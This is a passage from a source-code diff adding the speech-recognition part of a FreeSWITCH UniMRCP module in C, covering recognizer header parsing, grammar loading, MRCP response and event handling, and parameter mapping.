+			mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MAX_DURATION);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid hotword max duration, \"%s\"\n", schannel->name, val);
+		}
+		break;
+	}
+	case RECOGNIZER_HEADER_HOTWORD_MIN_DURATION: {
+		int hotword_min_duration = atoi(val);
+		if (hotword_min_duration >= 0) {
+			recog_hdr->hotword_min_duration = hotword_min_duration;
+			mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MIN_DURATION);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid hotword min duration, \"%s\"\n", schannel->name, val);
+		}
+		break;
+	}
+	case RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER:
+		recog_hdr->clear_dtmf_buffer = !strcasecmp("true", val);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER);
+		break;
+
+	case RECOGNIZER_HEADER_EARLY_NO_MATCH:
+		recog_hdr->early_no_match = !strcasecmp("true", val);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_EARLY_NO_MATCH);
+		break;
+
+	case RECOGNIZER_HEADER_INPUT_WAVEFORM_URI:
+		apt_string_assign(&recog_hdr->input_waveform_uri, val, msg->pool);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_INPUT_WAVEFORM_URI);
+		break;
+
+	case RECOGNIZER_HEADER_MEDIA_TYPE:
+		apt_string_assign(&recog_hdr->media_type, val, msg->pool);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_MEDIA_TYPE);
+		break;
+
+	/* Unsupported headers */
+
+	/* MRCP server headers */
+	case RECOGNIZER_HEADER_WAVEFORM_URI:
+	case RECOGNIZER_HEADER_COMPLETION_CAUSE:
+	case RECOGNIZER_HEADER_FAILED_URI:
+	case RECOGNIZER_HEADER_FAILED_URI_CAUSE:
+	case RECOGNIZER_HEADER_INPUT_TYPE:
+	case RECOGNIZER_HEADER_COMPLETION_REASON:
+	/* module handles this automatically */
+	case RECOGNIZER_HEADER_CANCEL_IF_QUEUE:
+	/* GET-PARAMS method only */
+	case RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK:
+	case RECOGNIZER_HEADER_DTMF_BUFFER_TIME:
+
+	/* INTERPRET method only */
+	case RECOGNIZER_HEADER_INTERPRET_TEXT:
+
+	/* unknown */
+	case RECOGNIZER_HEADER_VER_BUFFER_UTTERANCE:
+
+	default:
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) unsupported RECOGNIZER header\n", schannel->name);
+	}
+
+	return status;
+}
+
+/**
+ * Flag that the recognizer channel timers are started
+ * @param schannel the recognizer channel to flag 
+ */
+static switch_status_t recog_channel_set_timers_started(speech_channel_t *schannel)
+{
+	recognizer_data_t *r;
+	switch_mutex_lock(schannel->mutex);
+	r = (recognizer_data_t *)schannel->data;
+	r->timers_started = 1;
+	switch_mutex_unlock(schannel->mutex);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Process asr_open request from FreeSWITCH.
+ *
+ * @param ah the FreeSWITCH speech rec handle
+ * @param codec the codec to use
+ * @param rate the sample rate of the codec
+ * @param dest the profile to use
+ * @param flags other flags
+ * @return SWITCH_STATUS_SUCCESS if successful, otherwise SWITCH_STATUS_FALSE
+ */
+static switch_status_t recog_asr_open(switch_asr_handle_t *ah, const char *codec, int rate, const char *dest, switch_asr_flag_t *flags)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	speech_channel_t *schannel = NULL;
+	int speech_channel_number = get_next_speech_channel_number();
+	char name[200] = { 0 };
+	const char *profile_name;
+	profile_t *profile = NULL;
+	recognizer_data_t *r = NULL;
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "asr_handle: name = %s, codec = %s, rate = %d, grammar = %s, param = %s\n",
+		ah->name, ah->codec, ah->rate, ah->grammar, ah->param);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "codec = %s, rate = %d, dest = %s\n", codec, rate, dest);
+
+	/* It would be nice if FreeSWITCH let us know which session owns this handle, but it doesn't.  So, lets
+		make our own unique name */
+	switch_snprintf(name, sizeof(name) - 1, "ASR-%d", speech_channel_number);
+	name[sizeof(name) - 1] = '\0';
+
+	if (speech_channel_create(&schannel, name, SPEECH_CHANNEL_RECOGNIZER, &globals.recog, "L16", (uint16_t)rate, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	ah->private_info = schannel;
+
+	r = (recognizer_data_t *)switch_core_alloc(ah->memory_pool, sizeof(recognizer_data_t));
+	schannel->data = r;
+	memset(r, 0, sizeof(recognizer_data_t));
+	switch_core_hash_init(&r->grammars, ah->memory_pool); 
+
+	/* try to open an MRCP channel */
+	profile_name = switch_strlen_zero(dest) ? globals.unimrcp_default_recog_profile : dest;
+	profile = (profile_t *)switch_core_hash_find(globals.profiles, profile_name);
+	if (!profile) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Can't find profile, %s\n", name, profile_name);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	status = speech_channel_open(schannel, profile);
+
+ done:
+
+	return status;
+}
+
+/**
+ * Process asr_load_grammar request from FreeSWITCH.
+ *
+ * FreeSWITCH sends this request to load a grammar
+ * @param ah the FreeSWITCH speech recognition handle
+ * @param grammar the grammar data.  This can be an absolute file path, a URI, or the grammar text.
+ * @param name used to reference grammar for unloading or for recognition requests
+ */
+static switch_status_t recog_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *name)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	const char *grammar_data = NULL;
+	char *grammar_file_data = NULL;
+	switch_file_t *grammar_file = NULL;
+	switch_size_t grammar_file_size = 0, to_read = 0;
+	grammar_type_t type = GRAMMAR_TYPE_UNKNOWN;
+	char *filename = NULL;
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) grammar = %s, name = %s\n", schannel->name, grammar, name);
+
+	if (switch_strlen_zero(grammar) || switch_strlen_zero(name)) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	
+	/* stop recognition */
+	if (speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* figure out what type of grammar this is */
+	if (text_starts_with(grammar, HTTP_ID) || text_starts_with(grammar, SESSION_ID) || text_starts_with(grammar, BUILTIN_ID)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Grammar is URI\n", schannel->name);
+		type = GRAMMAR_TYPE_URI;
+		grammar_data = grammar;
+	} else if (text_starts_with(grammar, INLINE_ID)) {
+		grammar_data = grammar + strlen(INLINE_ID);
+	} else {
+		/* grammar points to file containing the grammar text.  We assume the MRCP server can't get to this file
+		 * so read the data from the file and cache it */
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Grammar is inside file\n", schannel->name);
+		if (switch_is_file_path(grammar)) {
+			filename = switch_mprintf("%s.gram", grammar);
+		} else {
+			filename = switch_mprintf("%s%s%s.gram", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, grammar);
+		}
+		grammar_data = NULL;
+		if (switch_file_open(&grammar_file, filename, SWITCH_FOPEN_READ, 0, schannel->memory_pool) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Could not read grammar file: %s\n", schannel->name, filename);
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		grammar_file_size = switch_file_get_size(grammar_file);
+		if (grammar_file_size == 0) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Grammar file is empty: %s\n", schannel->name, filename);
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		grammar_file_data = (char *)switch_core_alloc(schannel->memory_pool, grammar_file_size + 1);
+		to_read = grammar_file_size;
+		if (switch_file_read(grammar_file, grammar_file_data, &to_read) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Grammar file read error: %s\n", schannel->name, filename);
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		if (to_read != grammar_file_size) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Could not read entire grammar file: %s\n", schannel->name, filename);
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		grammar_file_data[to_read] = '\0';
+		grammar_data = grammar_file_data;
+	}
+
+	/* determine content type of file grammar or inline grammar */
+	if (type == GRAMMAR_TYPE_UNKNOWN) {
+		if (text_starts_with(grammar_data, XML_ID)) {
+			type = GRAMMAR_TYPE_SRGS_XML;
+		} else if (text_starts_with(grammar_data, GSL_ID)) {
+			type = GRAMMAR_TYPE_NUANCE_GSL;
+		} else if (text_starts_with(grammar_data, ABNF_ID)) {
+			type = GRAMMAR_TYPE_SRGS;
+		} else if (text_starts_with(grammar_data, JSGF_ID)) {
+			type = GRAMMAR_TYPE_JSGF;
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to determine grammar type: %s\n", schannel->name, grammar_data);
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+	}
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) grammar is %s\n", schannel->name, grammar_type_to_mime(type, schannel->profile));
+
+	/* load the grammar */
+	if (recog_channel_load_grammar(schannel, name, type, grammar_data) != SWITCH_STATUS_SUCCESS) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	status = recog_channel_start(schannel, name);
+
+ done:
+
+	switch_safe_free(filename);
+	if (grammar_file) {
+		switch_file_close(grammar_file);
+	}
+	return status;
+}
+
+/**
+ * Process asr_unload_grammar request from FreeSWITCH.
+ *
+ * FreeSWITCH sends this request to stop recognition on this grammar.
+ * @param ah the FreeSWITCH speech recognition handle
+ * @param name the grammar name.
+ */
+static switch_status_t recog_asr_unload_grammar(switch_asr_handle_t *ah, const char *name)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	if (switch_strlen_zero(name) || speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS ||
+		recog_channel_unload_grammar(schannel, name) != SWITCH_STATUS_SUCCESS) {
+		status = SWITCH_STATUS_FALSE;
+	}
+	return status;
+}
+
+/**
+ * Process asr_close request from FreeSWITCH
+ *
+ * @param ah the FreeSWITCH speech recognition handle
+ * @param flags speech recognition flags (unused)
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t recog_asr_close(switch_asr_handle_t *ah, switch_asr_flag_t *flags)
+{
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	recognizer_data_t *r = (recognizer_data_t *)schannel->data;
+	speech_channel_stop(schannel);
+	speech_channel_destroy(schannel);
+	switch_core_hash_destroy(&r->grammars);
+
+	/* this lets FreeSWITCH's speech_thread know the handle is closed */
+    switch_set_flag(ah, SWITCH_ASR_FLAG_CLOSED);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Process asr_feed request from FreeSWITCH
+ *
+ * @param ah the FreeSWITCH speech recognition handle
+ * @return SWITCH_STATUS_SUCCESS if successful 
+ */
+static switch_status_t recog_asr_feed(switch_asr_handle_t *ah, void *data, unsigned int len, switch_asr_flag_t *flags)
+{
+	switch_size_t slen = len;
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	return speech_channel_write(schannel, data, &slen);
+}
+
+#if 0
+/**
+ * Process asr_start request from FreeSWITCH
+ * @param ah the FreeSWITCH speech recognition handle
+ * @param name name of the grammar to use
+ * @return SWITCH_STATUS_SUCCESS if successful
+ */ 
+static switch_status_t recog_asr_start(switch_asr_handle_t *ah, const char *name)
+{
+	switch_status_t status;
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	status = recog_channel_start(schannel, name);
+	return status;
+}
+#endif
+
+/**
+ * Process asr_resume request from FreeSWITCH
+ *
+ * @param ah the FreeSWITCH speech recognition handle
+ */
+static switch_status_t recog_asr_resume(switch_asr_handle_t *ah)
+{
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	return recog_channel_start(schannel, NULL);
+}
+
+/**
+ * Process asr_pause request from FreeSWITCH
+ *
+ * @param ah the FreeSWITCH speech recognition handle
+ */
+static switch_status_t recog_asr_pause(switch_asr_handle_t *ah)
+{
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	return speech_channel_stop(schannel);
+}
+
+/**
+ * Process asr_check_results request from FreeSWITCH
+ * This method is polled by FreeSWITCH until we return SWITCH_STATUS_SUCCESS.  Then
+ * the results are fetched.
+ *
+ * @param ah the FreeSWITCH speech recognition handle
+ * @param flags other flags
+ */
+static switch_status_t recog_asr_check_results(switch_asr_handle_t *ah, switch_asr_flag_t *flags)
+{
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	return recog_channel_check_results(schannel);
+}
+
+/**
+ * Process asr_get_results request from FreeSWITCH.  Return the XML string back
+ * to FreeSWITCH.  FreeSWITCH will free() the xmlstr.
+ *
+ * @param ah the FreeSWITCH speech recognition handle
+ * @param flags other flags
+ */
+static switch_status_t recog_asr_get_results(switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags)
+{
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	return recog_channel_get_results(schannel, xmlstr);
+}
+
+/**
+ * Send START-INPUT-TIMERS to executing recognition request
+ * @param ah the handle to start timers on
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t recog_asr_start_input_timers(switch_asr_handle_t *ah)
+{
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	return recog_channel_start_input_timers(schannel);
+}
+
+/**
+ * Process text_param request from FreeSWITCH.
+ * Update MRCP session text parameters.
+ *
+ * @param ah the FreeSWITCH asr handle
+ * @param param the parameter to set
+ * @param val the value to set the parameter to
+ */
+static void recog_asr_text_param(switch_asr_handle_t *ah, char *param, const char *val)
+{
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	speech_channel_set_param(schannel, param, val);
+}
+
+/**
+ * Process numeric_param request from FreeSWITCH.
+ * Update MRCP session numeric parameters
+ *
+ * @param ah the FreeSWITCH asr handle
+ * @param param the parameter to set
+ * @param val the value to set the parameter to
+ */
+static void recog_asr_numeric_param(switch_asr_handle_t *ah, char *param, int val)
+{
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	char *val_str = switch_mprintf("%d", val);
+	speech_channel_set_param(schannel, param, val_str);
+	switch_safe_free(val_str);
+}
+
+/**
+ * Process float_param request from FreeSWITCH.
+ * Update MRCP session float parameters
+ *
+ * @param ah the FreeSWITCH asr handle
+ * @param param the parameter to set
+ * @param val the value to set the parameter to
+ */
+static void recog_asr_float_param(switch_asr_handle_t *ah, char *param, double val)
+{
+	speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+	char *val_str = switch_mprintf("%f", val);
+	speech_channel_set_param(schannel, param, val_str);
+	switch_safe_free(val_str);
+}
+
+/**
+ * Process messages from UniMRCP for the recognizer application
+ */
+static apt_bool_t recog_message_handler(const mrcp_app_message_t *app_message)
+{
+	return mrcp_application_message_dispatch(&globals.recog.dispatcher, app_message);
+}
+
+/**
+ * Handle the MRCP responses/events
+ */
+static apt_bool_t recog_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
+	mrcp_recog_header_t *recog_hdr = (mrcp_recog_header_t *)mrcp_resource_header_get(message);
+	if (message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
+		/* received MRCP response */
+		if (message->start_line.method_id == RECOGNIZER_RECOGNIZE) {
+			/* received the response to RECOGNIZE request */
+			if (message->start_line.request_state == MRCP_REQUEST_STATE_INPROGRESS) {
+				/* RECOGNIZE in progress */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE IN PROGRESS\n", schannel->name);
+				speech_channel_set_state(schannel, SPEECH_CHANNEL_PROCESSING);
+			} else if (message->start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
+				/* RECOGNIZE failed to start */
+				if (recog_hdr->completion_cause == RECOGNIZER_COMPLETION_CAUSE_UNKNOWN) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE failed: status = %d\n", schannel->name, 	message->start_line.status_code);
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE failed: status = %d, completion-cause = %03d\n", schannel->name, message->start_line.status_code, recog_hdr->completion_cause);
+				}
+				speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+			} else if (message->start_line.request_state == MRCP_REQUEST_STATE_PENDING) {
+				/* RECOGNIZE is queued */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE PENDING\n", schannel->name);
+			} else {
+				/* received unexpected request_state */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected RECOGNIZE request state: %d\n", schannel->name, message->start_line.request_state);
+				speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+			}
+		} else if (message->start_line.method_id == RECOGNIZER_STOP) {
+			/* received response to the STOP request */
+			if (message->start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
+				/* got COMPLETE */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE STOPPED\n", schannel->name);
+				speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
+			} else {
+				/* received unexpected request state */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected STOP request state: %d\n", schannel->name, message->start_line.request_state);
+				speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+				}
+		} else if (message->start_line.method_id == RECOGNIZER_START_INPUT_TIMERS) {
+			/* received response to START-INPUT-TIMERS request */
+			if (message->start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
+				if (message->start_line.status_code >= 200 && message->start_line.status_code <= 299) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) timers started\n", schannel->name);
+					recog_channel_set_timers_started(schannel);
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) timers failed to start, status code = %d\n", schannel->name, message->start_line.status_code);
+				}
+			}
+		} else if (message->start_line.method_id == RECOGNIZER_DEFINE_GRAMMAR) {
+			/* received response to DEFINE-GRAMMAR request */
+			if (message->start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
+				if (message->start_line.status_code >= 200 && message->start_line.status_code <= 299) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) grammar loaded\n", schannel->name);
+					speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) grammar failed to load, status code = %d\n", schannel->name, message->start_line.status_code);
+					speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+				}
+			}
+		} else {
+			/* received unexpected response */
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected response, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
+			speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+		}
+	} else if (message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		/* received MRCP event */
+		if (message->start_line.method_id == RECOGNIZER_RECOGNITION_COMPLETE) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNITION COMPLETE, Completion-Cause: %03d\n", schannel->name, recog_hdr->completion_cause);
+			if (message->body.length > 0) {
+				if (message->body.buf[message->body.length - 1] == '\0') {
+					recog_channel_set_results(schannel, message->body.buf);
+				} else {
+					/* string is not null terminated */
+					char *result = (char *)switch_core_alloc(schannel->memory_pool, message->body.length + 1);
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Recognition result is not null-terminated.  Appending null terminator.\n", schannel->name);
+					strncpy(result, message->body.buf, message->body.length);
+					result[message->body.length] = '\0';
+					recog_channel_set_results(schannel, result);
+				}
+			} else {
+				char *completion_cause = switch_mprintf("Completion-Cause: %03d", recog_hdr->completion_cause);
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) No result\n", schannel->name);
+				recog_channel_set_results(schannel, completion_cause);
+				switch_safe_free(completion_cause);
+			}
+			speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
+		} else if (message->start_line.method_id == RECOGNIZER_START_OF_INPUT) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) START OF INPUT\n", schannel->name);
+			recog_channel_set_start_of_input(schannel);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected event, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
+			speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+		}
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected message type, message_type = %d\n", schannel->name, message->start_line.message_type);
+		speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+	}
+
+	return TRUE;
+}
+
+/**
+ * UniMRCP callback requesting next frame for speech recognition
+ *
+ * @param stream the UniMRCP stream
+ * @param frame the frame to fill
+ * @return TRUE
+ */
+static apt_bool_t recog_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame)
+{
+	speech_channel_t *schannel = (speech_channel_t *)stream->obj;
+	switch_size_t to_read = frame->codec_frame.size;
+	
+	/* grab the data.  pad it if there isn't enough */
+	if (speech_channel_read(schannel, frame->codec_frame.buffer, &to_read, 0) == SWITCH_STATUS_SUCCESS) {
+		if (to_read < frame->codec_frame.size) {
+			memset((uint8_t *)frame->codec_frame.buffer + to_read, schannel->silence, frame->codec_frame.size - to_read);
+		}
+		frame->type |= MEDIA_FRAME_TYPE_AUDIO;
+	}
+
+	return TRUE;
+}
+
+/**
+ * Link the recognizer module interface to FreeSWITCH and UniMRCP
+ */
+static switch_status_t recog_load(switch_loadable_module_interface_t *module_interface, switch_memory_pool_t *pool)
+{
+	/* link to FreeSWITCH ASR / TTS callbacks */
+	switch_asr_interface_t *asr_interface = NULL;
+	if ((asr_interface = (switch_asr_interface_t *)switch_loadable_module_create_interface(module_interface, SWITCH_ASR_INTERFACE)) == NULL) {
+		return SWITCH_STATUS_FALSE;
+	}
+	asr_interface->interface_name = MOD_UNIMRCP;
+	asr_interface->asr_open = recog_asr_open;
+	asr_interface->asr_load_grammar = recog_asr_load_grammar;
+	asr_interface->asr_unload_grammar = recog_asr_unload_grammar;
+	asr_interface->asr_close = recog_asr_close;
+	asr_interface->asr_feed = recog_asr_feed;
+#if 0
+	asr_interface->asr_start = recog_asr_start;
+#endif
+	asr_interface->asr_resume = recog_asr_resume;
+	asr_interface->asr_pause = recog_asr_pause;
+	asr_interface->asr_check_results = recog_asr_check_results;
+	asr_interface->asr_get_results = recog_asr_get_results;
+	asr_interface->asr_start_input_timers = recog_asr_start_input_timers;
+	asr_interface->asr_text_param = recog_asr_text_param;
+	asr_interface->asr_numeric_param = recog_asr_numeric_param;
+	asr_interface->asr_float_param = recog_asr_float_param;
+	
+	/* Create the recognizer application and link its callbacks */
+	if ((globals.recog.app = mrcp_application_create(recog_message_handler, (void *)0, pool)) == NULL) {
+		return SWITCH_STATUS_FALSE;
+	}
+	globals.recog.dispatcher.on_session_update = NULL;
+	globals.recog.dispatcher.on_session_terminate = speech_on_session_terminate;
+	globals.recog.dispatcher.on_channel_add = speech_on_channel_add;
+	globals.recog.dispatcher.on_channel_remove = speech_on_channel_remove;
+	globals.recog.dispatcher.on_message_receive = recog_on_message_receive;
+	globals.recog.audio_stream_vtable.destroy = NULL;
+	globals.recog.audio_stream_vtable.open_rx = NULL;
+	globals.recog.audio_stream_vtable.close_rx = NULL;
+	globals.recog.audio_stream_vtable.read_frame = recog_stream_read;
+	globals.recog.audio_stream_vtable.open_tx = NULL;
+	globals.recog.audio_stream_vtable.close_tx = NULL;
+	globals.recog.audio_stream_vtable.write_frame = NULL;
+	mrcp_client_application_register(globals.mrcp_client, globals.recog.app, "recog");
+	
+	/* map FreeSWITCH params or old params to MRCPv2 param */
+	switch_core_hash_init_case(&globals.recog.fs_param_map, pool, SWITCH_FALSE /* case_sensitive */);
+	/* MRCPv1 param */
+	switch_core_hash_insert(globals.recog.fs_param_map, "recognizer-start-timers", "start-input-timers");
+	
+	/* map MRCP params to UniMRCP ID */
+	switch_core_hash_init_case(&globals.recog.param_id_map, pool, SWITCH_FALSE /* case_sensitive */);
+	switch_core_hash_insert(globals.recog.param_id_map, "Confidence-Threshold", unimrcp_param_id_create(RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Sensitivity-Level", unimrcp_param_id_create(RECOGNIZER_HEADER_SENSITIVITY_LEVEL, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Speed-Vs-Accuracy", unimrcp_param_id_create(RECOGNIZER_HEADER_SPEED_VS_ACCURACY, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "N-Best-List-Length", unimrcp_param_id_create(RECOGNIZER_HEADER_N_BEST_LIST_LENGTH, pool));	
+	switch_core_hash_insert(globals.recog.param_id_map, "No-Input-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_NO_INPUT_TIMEOUT, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Recognition-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNITION_TIMEOUT, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Waveform-Url", unimrcp_param_id_create(RECOGNIZER_HEADER_WAVEFORM_URI, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Completion-Cause", unimrcp_param_id_create(RECOGNIZER_HEADER_COMPLETION_CAUSE, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Recognizer-Context-Block", unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Start-Input-Timers", unimrcp_param_id_create(RECOGNIZER_HEADER_START_INPUT_TIMERS, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Speech-Complete-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Speech-Incomplete-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Interdigit-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Term-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Term-Char", unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_TERM_CHAR, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Failed-Uri", unimrcp_param_id_create(RECOGNIZER_HEADER_FAILED_URI, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Failed-Uri-Cause", unimrcp_param_id_create(RECOGNIZER_HEADER_FAILED_URI_CAUSE, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Save-Waveform", unimrcp_param_id_create(RECOGNIZER_HEADER_SAVE_WAVEFORM, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "New-Audio-Channel", unimrcp_param_id_create(RECOGNIZER_HEADER_NEW_AUDIO_CHANNEL, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Speech-Language", unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_LANGUAGE, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Input-Type", unimrcp_param_id_create(RECOGNIZER_HEADER_INPUT_TYPE, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Input-Waveform-Uri", unimrcp_param_id_create(RECOGNIZER_HEADER_INPUT_WAVEFORM_URI, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Completion-Reason", unimrcp_param_id_create(RECOGNIZER_HEADER_COMPLETION_REASON, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Media-Type", unimrcp_param_id_create(RECOGNIZER_HEADER_MEDIA_TYPE, pool));
